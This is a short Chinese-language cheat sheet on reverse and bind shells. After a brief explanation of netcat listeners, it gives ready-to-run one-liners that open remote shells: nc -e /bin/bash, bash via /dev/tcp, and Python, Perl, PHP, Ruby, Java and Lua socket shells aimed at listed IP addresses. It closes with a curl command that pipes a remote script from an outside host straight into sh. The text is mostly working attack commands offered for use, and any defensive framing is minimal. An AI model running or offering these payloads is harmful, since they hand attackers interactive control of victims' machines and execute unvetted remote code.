反弹shell

反弹shell,就是在控制端进行tcp/udp监听,被控端发起请求到该端口,并将其命令行的输入输出转到控制端

Linux nc

nc,netcat,可以在两台电脑之间建立连接,并返回两个数据流

相互通信

在主机192.168.80.129的1234端口启动服务:

nc -v -l 192.168.80.129 1234

进行连接:

nc -v 192.168.80.129 1234

连接成功后,可以在当前机器输入信息,且会在目标机器显示;反之,在被控端输入,也会在当前控制端显示

默认为tcp连接,可以添加参数-u改为udp连接

参数

  • -v参数可以输出连接详细信息
  • -l参数设置为监听模式

反弹shell

正向反弹shell

首先服务器端进行监听并反弹shell:

nc -lvp 1234 -e /bin/bash

参数:

  • -p:指定端口

之后本地连接:

nc 192.168.80.129 1234

即可获得服务器端的shell

反向反弹shell

首先本地进行监听:

nc -lvp 1234

之后服务端反弹shell:

nc -e /bin/bash 1234

同样可获得服务器端的shell

Linux bash

bash是linux下的一种shell;

使用bash指令反弹shell:

bash -i >& /dev/tcp/192.168.80.129/1234 0>&1

解释:

  • -i:产生交互式的shell
  • /dev/tcp/ip/port:读取或写入相当于进行socket调用

其他语言反弹shell

Python

使用python反弹shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

使用脚本

curl https://shell.now.sh/62.234.60.226|sh